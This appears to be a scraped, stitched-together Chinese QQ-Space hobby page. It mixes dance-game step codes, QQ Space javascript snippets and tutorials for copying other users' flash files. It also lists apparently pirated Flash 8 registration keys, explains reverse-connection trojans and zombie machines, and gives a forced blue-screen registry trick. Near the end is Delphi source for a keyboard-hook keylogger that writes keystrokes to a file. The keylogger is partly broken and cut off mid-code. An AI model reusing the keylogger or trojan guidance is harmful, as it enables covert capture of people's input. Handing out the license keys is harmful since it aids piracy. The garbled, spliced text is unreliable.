瘋ふм゛栢[工作室]
ㄨЮ哭泣ぬポ
最新劲舞团V3.25舞步大全
LV6:281281 287188 243142 217268 297822 272786 296412 249492 376822
326126 441128 448161 487498 427414 496784 444334 464961 476234
634687 634348 629122 643281 734626 782227 741242 869278 896986
846349 872726 888778 861326 817824 866783 926247 928214 961246
LV7:1444783 1748632 2146167 2782349 2194469 2887941 2326213 3944674
3646994 4232411 4289277 4279294 4296141 4923641 4947432 6229978
6814671 6462193 6281921 7144263 7872324 7884121 7784421 7394864
7982142 7818681 8673494 8794841 8987944 8671223 8168336 9861687
9697648 9416423 9467672 9428989 9462417 9188663 9982348
LV8:12421679 16614671 13446321 19384274 19348946 16627994 18616936
16929669 23699926 23861136 23366794 38681387 39192442 33742861
36263941 38341298 43499782 43968831 49761968 67329621 64799278
67834143 63673667 72171864 79712262 76986936 71887814 76892321
83762969 83613782 86961983 84931362 91272843 92687473 94722172
LV9:186734211 183232893 192663972 117166296 273138966 473269161 476181983
668138937 634111812 782338419 711184898 871949388 942877192
魔神舞步
LV6=424886 184826 264389 243843 878346 947284 821342
LV7=1914466 1978826 3446123 342396 6417821 6437821 1996868 4673788 1986168 7361422 4141942 4111242 8333628 7181448 2898929
LV8=16364391 12972832 97214236 34416912 13879428 62271948 19182834 19388142 29126871 72338326 91649921 91634346 96213364
LV9=167669123 968431187 948813833 677418873 479672873 364961383 723338386 671164796 777736684 232323392 742141189 837829318 468111112 319222277 697183836
死步；level67=2612127 6164796 681232 4981436 1614322 8867613 2816923 7242963 6719286 724638 6887677 4698376
level89=667843397 487212773 961976483 638796796 869723439 968431187 167669123 677418873 948813833 479672873 468111112 487949363 271841114
为丫而舞；LV6=494742 498618 433688 322218 678416 668347
LV7=6164796 6889714 4673788 6349294 9967613 6719286 1614322 4981436
LV8=23982921 81848133 96983498 76427327 12389881 77876267 37292238 91912622 71678483 13834768
LV9=744348331 998696378 389463316 237912188 237339482 891943267 929821932 487949363 271841114
EXT电流步；LV6=464646 294948 784243 322249 144887 643834 641342 484929 792888
lV7=8631726 7828787 2949928 8821796 3241782 8843961 2172223 6828719 8887374 7484477
LV8=96344327 38298941 83261763 79429669 13864671 99632449 61232149 32982387 28937146 29713646 23474981 98382671
LV9=734864191 171389628 696814779 194476617 747447934 184991492 949318966 933224231 983372838 364961383 698691176 321136263 723338386
普通默认步(8k)；level67=2612127 6164796 681232 4981436 1614322 8867613 2816923 7242963 6719286 724638 6887677 4698376
level89=23982921 81848133 891943267 918978368 237912188 237339482 31214212 227137948 96983498 94697366 44312183 36234138 389463316
QQ边框代码：
妖夜玫瑰：
爱的甜蜜蜜 javascript:window.top.space_addItem(16,21903,0,80,500,500,0);
爱你一生不变 javascript:window.top.space_addItem(16,21904,0,80,500,500,0);
爱情轨迹 javascript:window.top.space_addItem(16,21905,0,80,500,500,0);
爱情之旅 javascript:window.top.space_addItem(16,21906,0,80,650,650,0);
回味爱情 javascript:window.top.space_addItem(16,21907,0,80,500,500,0);
偏偏喜欢你 javascript:window.top.space_addItem(16,21908,0,80,500,500,0);
收获爱情 javascript:window.top.space_addItem(16,21909,0,80,500,500,0);
谢谢你的爱 javascript:window.top.space_addItem(16,21910,0,80,500,500,0);
有你真精彩 javascript:window.top.space_addItem(16,21911,0,80,500,500,0);
真的很想你 javascript:window.top.space_addItem(16,21912,0,80,500,500,0);
QQ空间模块移动代码:
版块靠左代码——javascript:window.top.space_addItem(1,9475,0,0,1,1,93);
版块居中代码——javascript:window.top.space_addItem(1,9475,100,0,1,1,93);
版块右移代码——javascript:window.top.space_addItem(1,9475,235,0,1,1,93);
迷失自我：
版块靠左代码——javascript:window.top.space_addItem(1,9475,0,0,1,1,94);
版块居中代码——javascript:window.top.space_addItem(1,9475,100,0,1,1,94);
版块右移代码——javascript:window.top.space_addItem(1,9475,235,0,1,1,94);
彩虹云朵：
版块靠左代码——javascript:window.top.space_addItem(1,8674,0,80,100,100,94);
版块居中代码——javascript:window.top.space_addItem(1,8674,100,80,100,100,94);
版块右移代码——javascript:window.top.space_addItem(1,8674,235,80,100,100,94);
蓝星闪烁：
版块靠左代码——javascript:window.top.space_addItem(1,8674,0,80,100,100,93);
版块居中代码——javascript:window.top.space_addItem(1,8674,100,80,100,100,93);
版块右移代码——javascript:window.top.space_addItem(1,8674,235,80,100,100,93);
浓情马克：
版块靠左代码——javascript:window.top.space_addItem(1,11273,0,80,0,0,94);
版块居中代码——javascript:window.top.space_addItem(1,11273,100,80,0,0,94);
版块右移代码——javascript:window.top.space_addItem(1,11273,235,80,0,0,94);
蓝色皮肤：
版块靠左代码——javascript:window.top.space_addItem(1,11762,0,0,96,96,94);
特别提示，ＦＬＡＳＨ不能播放音乐格式为＂.wma"等格式，如果那加载进度数字变化一下子就成100％就说明此地址可用，并放空间上可以听，速度很快！
地址：http://data1.flash.qq.com/0/0/522/386-1198395789.swf
可放到ＱＱ空间用哦．
大家对此有什么功能上的优化，可以提出来！
如果遇到要处理你的相片,就加载PICASA相片处理软件!菜鸟也会做的!
下载地址:http://www.iqqfzl.cn/picasa/picasa.htm
此系统地址:http://www.iqqfzl.cn/xitong1.swf
注意:生成后的FD模块的 宽:700 高:600
下面是我用上面做成的一个样版FD模块,请看说明做哦!
下面说下QCC怎么用的吧,全免费哦
开始了:注意听好哦
第一步：
下工具 ，我用的是闪客之锤，(适合新手改QCC） 有FLASH8.0下载地址和教程
下载地址：
点这下载迅雷 :http://bbs.oqchina.com/read.php?tid-23391.html
点这下载闪客 :http://ftp-idc.pconline.com.cn/pub/download/200405/swfquicker.zip
点这下FLASH8.0 :http://www.chemoffice.cn/Soft/200611/1800.html
点这进入FLASH8.0的教程 :http://www.enet.com.cn/eschool/zhuanti/flashhot/
FLASH8的注册码：
WPD800-52432-46132-37860
WPD800-51931-56332-97731
WPD800-52630-88732-94085
WPD800-53537-77832-85167
有的QCC用闪客之锤是改不了 FLASH8。0做出来的，还有就是那些高手加了密的。自己拿去研究吧~**！
第二步：
去找一个你喜欢的QCC 用迅雷下好，装拌空间里有~！在这教你们怎样盗空间里的QCC 很简单的~！
http://cp/flash/数字.swf
用这个地址.数字就是你在空间找到的QCC上看到的 比如像 1002078 之类的
自己多多留意~！在这不多说~！
我这用这款QCC做演示：每款QCC都有不同的改法.自己多多琢磨琢磨~**
http://h.thec.cn/yzq888222/tiaozhuan/love.swf
第三步：
把你找的QCC下载下来~！
用闪客打开你刚刚下来的QCC
第四步：
点影片浏览器—→主影片—→看到了吗？
里面有不同对应的动作，有互动、资料、小屋、相册、留言、音乐 、日志、主页
现在都知道了在那里可以实现进空间的连接按钮了.就在那添加相应的代码就OK了.
在这我就不多说了，每个动作都是一样的只是地址不同罢了，
第五步：
在动作那，加入下面的代码就OK。下面几层改的方法都是一样的，
我就不多说了.（不过还是提醒下新手朋友们.复制的时候可不要少个标点什么的哦.）
对应的代码是：
主页:
on (release)
{
getURL(http://275936413, "");
}
日志：
on (release)
{
getURL("http://275936413/?url=http://imgcache.qq.com/qzone/blog/blog.html", "");
}
音乐：
on (release)
{
getURL("http://275936413/?url=http://qzone-music.qq.com/client/v5/music_playlist.html", "");
}
留言：
on (release)
{
getURL("http://275936413/?url=http://ic1.qq.com/qzone/blog/tmygb_static.htm", "");
}
相册：
on (release)
{
getURL("http://275936413/?url=http://qz-photo.qq.com/qzone_v4/album_list.htm", "");
}
小屋：
on (release)
{
getURL("http://275936413/?url=http://user16/client/home.html", "");
}
资料：
on (release)
{
getURL("http://275936413/?url=http://imgcache.qq.com/qzone/admin/user_infomation_edit.html", "");
}
互动：
on (release)
{
getURL("http://275936413/?url=http://ic1.qq.com/qzone/interact/intera_friend_main.html", "");
}
把上面的代码复制到相应的位置就行了（但记得把QQ号改成自己的哦）
把改好的QCC..导出到桌面...文件名字可以是数字和字母..不要用中文哦。
呵呵是不是很简单呢？这就把第一大步搞定了.接下来的就简单了哦.
第六步：
首先去找一个免费的上传网站，我本人用的是999上传网 地址：http://www.999kb.com/
把你改好的QCC上传上去就得到了一个地址：我这是：
http://mumayi1.999kb.com/pic/2007-03-04/n33691ssrwmhmvzk1hi4.swf
第七步：
从新打开闪客-→点影片浏览器-→点主影片-→层一 （也可以点文件→新建→新建窗口）
在左面动作那加入下面那个代码
在动作那添加这个代码：
if (i == 1)
{
gotoAndStop(1);
} // end if
getURL("在这输入你刚传上去的那个文件那个地址", "_blank");
把字去了加地址（注意不要把符号搞丢了）
导出影片，在上传上去又得到了第2个地址，（但记的导出时文件名字不要和第一次的相同哦.）
http://mumayi1.999kb.com/pic/2007-03-04/n33691ssrwmhmvzk1hi4.swf
第八步：
在桌面上新建一个新建一个文本文档文件，
双击把它打开，把刚得到的第2个地址放进去，
然后点左上角的文件-→下拉菜单里点另存为，输入文件名...
在这注意了不光是要输入文件名哦...还要输入一个后缀...
我试
凯洛诗网络即将迎来一周岁的生日，与此同时，凯洛诗团队正在张罗各种新的代码以便于周年之际发布纪念版。
今天首发新概念QQ空间MP3播放器测试版本，正式版将定于11月31日正式发布。何谓新概念播放器呢？其实是一个很简单的功能，在后面我将会介绍一下。现在先来看一下整个播放器的效果图 
默认是没有显示播放列表的，需要用户手动点击三角形的功能键。
它可以用于QQ空间主页或者日志。
用法：
1，在QQ空间上创建一个FLASH模块，设置其地址为：http://www.klss.cn/qzoneplay/play.swf 启用FLASH透明，边框无，然后点击确定，再手动把它拉到720×500,或者可以设其更大或更小值。然后保存即可以看到效果。
因为这是一个可以随便移动的播放器，所以它会在你所设的区域内任你移动。这就是所谓的新概念之处。为了美观，建议设置其尺寸为：宽210,高250.
另外，地址中如果加上?qq=您的QQ号码 即可以右键显示你的QQ号，如我的QQ是：229193553 所以我用http://www.klss.cn/qzoneplay/play.swf?qq=229193553 这个地址
如果你喜欢这个播放器，请把它推荐给你的QQ好友，并且，你可以在本贴留言，把你的添加到播放器中的歌曲地址和名称发上来，我们将一一收录。
凯洛诗官方网站：http://www.klss.cn 希望各位朋友转载本篇日志到自己的空间
[/flash]
[/flash]
[/flash]
呵呵!这是用超级连接来实现空间在线留言的功能!
只要得到QQ在线互动地址放在自己空间主页作图片超级连接就可以了
别人一点,可以直接和主人留言了!
把这地址:http://wpa.qq.com/msgrd?V=1Uin=自己的QQ号码
在空间图片里作下超级连接就可以了!
不懂的人按我下面一步一步来吧!
首先:自定义—新建模块—模块名称留空—选择大图模块
图片来源地址:填:
(下面有多种风格的在线留言图片,可以自己选择)
高29 宽68
连接地址:http://wpa.qq.com/msgrd?V=1&Uin=自己的QQ号码
其他不用去动它了,直接保存就OK了
自己想拖到什么位置可以自己拖
(几款风格图自己选择吧!高宽点属性查看就可以了)
闪字http://ghlp.igogo8.com/ghlp_more.html
图片生成：http://pic.sdodo.com/
字符画：http://mm.tpp8.com/ascii/
在线编辑图片： http://www.iephotoshop.com
繁体字转换：http://vip2.6to23.com/may5th/zh.html
网上现场制作动画：http://www.eoool.com/Default.aspx?TypeID=0
粉丝身分证：http://id.igogo8.com/
邮址图片生成：http://www.makepic.com/email.php
生成头像：http://www.eoool.com/ImageDIY/DIYChooseImg.aspx?ImgSize=96x96x1
邮件：http://www.eoool.com/Sevice.aspx?TypeID=1
聊天图标：http://www.eoool.com/Sevice.aspx?TypeID=2
网络书签：http://www.eoool.com/Sevice.aspx?TypeID=5
生成拼凑图：http://blog.outer-court.com/letters/
日本武士刀劈出你需要的字:http://tools.fodey.com/generators/animated/ninjatext.asp
生成几种卡通人物对话动态图片;http://tools.fodey.com/generators/animated/talking_squirrel.asp
支持多种域名的Email图标的生成：http://www.nhacks.com/email/
在线favicon生成器：http://www.html-kit.com/e/favicon.cgi
支持各种类型图片的生成：http://www.abi-station.com/tchinese/
大量中文字体签名图标生成：http://www.youmade.com/font/
Flickr杂志封面生成器：http://flagrantdisregard.com/flickr/magazine.php
http://zfwlpt.go1.icpcn.com/qqzone/qqcz.htm
变色贴彩字转换工具
http://zfwlpt.go1.icpcn.com/qqzone/qqcolor.htm
汉字简体/繁体在线转换工具
http://zfwlpt.go1.icpcn.com/qqzone/QQhanzi.htm
上传FLASH的是
http://www.52blog.nethttp://www.blogbus.com
上传图片速度还不错的BLOG
http://blog.blogchina.com/http://www.bokee.com
还可以上传mp3 ,wma,鼠标等格式
web上传
http://www.ik8.com/
ftp上传
http://www.68ab.com/
综合类上传：
http://www.bestupload.com
单个文件限制：600KB
上传类型：txt, jpg, gif, bmp, png, swf, arj,
zip, ace, exe, txt, nfo, txt, doc, mp3, wav, xls, pdf
http://www.savefile.com/filehosting
单个文件限制：1024 KB
上传类型：txt, jpg, gif, bmp, png, swf, jar,
zip, ace, exe, txt, nfo, txt, doc, mp3, wav, xls, pdf
http://www.freephotoserver.com
单个文件限制：1024 KB
上传类型：png, gif, jpeg, png,bmp mpeg and
swf
http://qzone.net.cn/pic.asp?url=http://qzone.net.cn/pic.asp?url=http://qzone.net.cn/pic.asp?url=http://imageshack.us
单个文件限制：1024
KB
上传类型：png, gif, jpeg, png,bmp
http://www.bighosting.net
单个文件限制: 1024
KB
上传类型：txt, jpg, gif, bmp, png, swf, arj, zip, ace, exe, txt,
nfo, txt, doc, mp3, wav, xls, pdf
http://picsplace.to
单个文件限制: 1500kB
上传类型：jpg,gif,jpeg,png,bmp,swf
http://www.freefilehosting.net
入门教程集
http://www.pconline.com.cn/pcedu/sj/famous/fif/0403/330374.html
照片处理教程网站:
http://www.pconline.com.cn/pcedu/videoedu/photoshop/0606/808862.html
http://www.pconline.com.cn/pcedu/videoedu/photoshop/0606/808850.html
制作晶体字
一男一女在网吧聊天的经典对白
GG：你嚎！
MM：你嚎！你在哪里？
GG：我在忘八里。你呢？
MM：我也在忘八里。
GG：你是哪里人？
MM：我是鬼州人。你呢？
GG：我是山洞人。
MM：你似男似女？
GG：我当然是难生了。你肯定是女生吧？
MM：是啊。
GG：你霉不霉？
MM：还行吧，人家都说我是大霉女。你衰不衰？
GG：还好啊，很多人都说我是大衰哥。
MM：真的呀？咱们多怜惜好不好？
GG：好呀，你的瘦鸡多少号？
MM：咱别用瘦鸡，瘦鸡多贵呀，你有球球吗？
GG：有啊。
MM：你球球多少号呀？
GG：＊＊＊＊＊＊＊，你真可爱，我很想同你*面。
MM：慢慢来啊，虽然隔得远，也有鸡会啦
目前常见的木马有三种 正向连接木马 反弹连接木马 收信木马
正向连接木马,所谓正向，就是在中马者在机器上开个端口，而我们去连接他的端口。而我们要知道他的IP，才能够连接他。123就是他机器上开的端口
由于到现在，宽带上网（动态IP）和路由器的普遍，这个软件就有很大的不足
动态IP：每次拨号，IP都会跟换.所以，就算对方中了木马，在下次拨号的时候，我们会因为找不到IP而丢肉鸡
路由器：就是多个电脑同用1条宽带（网吧上网就是最好的例子）他们通过路由器连接到宽带，例如：主机的IP为225.124.3.41，而内网（就是用路由器的机器）的IP为192.168.X.X。在内网环境下，我们外界是无法访问的，就是机器中了木马也没用。下面大家看下我的示意图。简单来说，内网的机器是比较安全的，外界是无法访问的，就是我们连接不了内网器。而连接内网的机器，除非在同区域网里（在网吧A机，就能用RIDMIN连接网吧的B机）.
简单总结：在不同区域网下，正向木马只能连接到外网的机器，而不能连接到内网的机器
由于一系列的不足，就产生了反弹连接木马，例如出门的国产软件：灰鸽子
反弹连接木马，就是在我们机器上开启一个端口，让中马者来连接我们，从而获得肉鸡的信息，就算对方的IP怎么改变，也是无际于事。如果我们自己机器上的IP改变了，肉鸡就无法找到我们的机器，从而无法获得肉鸡的信息，不过这点是不成问题的，WWW兴起，就有了域名。在网络中通过的对域名的访问能找到自己对应的IP地址，例如www.baidu.com的IP地址为22.181.38.4 如果百度的IP变成12.11.22.3的话，只要域名不改变，就算IP地址怎么变，它也能找到你。就算是内网的机器，我们也能获得他的信息。
总结到底：本地开启1个端口，肉鸡连接上我们，就算是内外网的机器也可以
反弹连接木马最头疼的地方就是使用者是内网状态的（大家可以看我的路线图，蓝色为反弹连接，黑色为正常连接）。说到为什么最头疼，大家就回忆下正向连接木马的原理。别人是无法直接访问路由器内的机器（内网）。
一个有趣的尝试：按住右侧的Ctrl的同时，再按Scroll Lock两次，Windows就会出现蓝屏，显示：
*** STOP:0x000000E2 (0x00000000,0x00000000,0x00000000,0x00000000)。
这不是Bug，它只是Windows的一个功能，没错，就是进入蓝屏的功能。虽然说Windows不是特别稳定， 尤其是XP和Vista时代，并不是每个人都有幸见到著名的蓝屏故障。所以，微软提供了这个功能，供测试目的使用。这里微软做了详细说明：http://support.microsoft.com/kb/244139。
500)this.width=500;">
先不要急着测试，之前还需要做些准备工作。
根据你的键盘找到以下注册表键：
1、USB 键盘：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdhid\Parameters
2、PS/2键盘：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters
新建一个DWORD键，名称为：CrashOnCtrlScroll，其值为1。如下图所示：
500)this.width=500;">
然后，重启机器，按住右侧的Ctrl的同时，再按Scroll Lock两次就会出现本文顶部的蓝屏了。提醒：做此尝试之前做好当前工作的善后！
在许多系统中，出于安全或其它原因，常常要求随时对键盘进行监控，一个专业的监控程序必须具备两点，一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上，根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。 一、Hook(钩子)的实现：
Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现，若应用程序不是当前窗口时，该Hook就不起作用;如果Hook在DLL中实现，程序在运行中动态调用它，它能实时对系统进行监控。根据需要，我们采用的是在DLL中实现Hook的方式。
1.新建一个导出两个函数的DLL文件，在hookproc.pas中定义了钩子具体实现过程。代码如下:
library keyspy;
uses
windows, messages, hookproc in ’hookproc.pas’;
exports
setkeyhook,
endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
2.在Hookproc.pas中实现了钩子具体过程:
unit hookproc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
nexthookproc:hhook;
procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子
procedure keyhookexit;far;
const
afilename=’c:debug.txt’;//将键盘输入动作写入文件中
var
debugfile:textfile;
implementation
function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
begin
if icode<0 then
begin
result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,’’);
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc<>0 then begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0); end;
result:=hnexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit; end;
end.
二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon。它有两个参数，一个是指向TnotifyIconData结构的指针，另一个是要添加、删除、改动图标的标志。
通过该函函数将应用程序的图标添加到指示区中，使其作为图标运行,增加专业特色。当程序起动后，用鼠标右键点击图标，则弹出一个菜单，可选择sethook或endhook。
unit kb;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms,
Dialogs,
StdCtrls, Menus,shellapi;
const
icon_id=1;
MI_iconevent=wm_user+1;//定义一个用户消息
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
sethook1: TMenuItem;
endhook1: TMenuItem;
N1: TMenuItem;
About1: TMenuItem;
Close1: TMenuItem;
Gettext1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure sethook1Click(Sender: TObject);
procedure endhook1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Close1Click(Sender: TObject);
private
{ Private declarations }
nid:tnotifyicondata;
normalicon:ticon;
public
{ Public declarations }
procedure icontray(var msg:tmessage);
message mi_iconevent;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function setkeyhook:bool;external ’keyspy.dll’;
function endkeyhook:bool;external ’keyspy.dll’;
procedure tform1.icontray(var msg:tmessage);
var
pt:tpoint;
begin
if msg.lparam=wm_lbuttondown then
sethook1click(self);
if msg.LParam=wm_rbuttondown then
begin
getcursorpos(pt);
setforegroundwindow(handle);
popupmenu1.popup(pt.x,pt.y);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
normalicon:=ticon.create;
application.title:=caption;
nid.cbsize:=sizeof(nid);
nid.wnd:=handle;
nid.uid:=icon_id;
nid.uflags:=nif_icon or nif_message or nif_tip;
nid.ucallbackmessage:=mi_iconevent;
nid.hIcon :=normalicon.handle;
strcopy(nid.sztip,pchar(caption));
nid.uFlags:=nif_message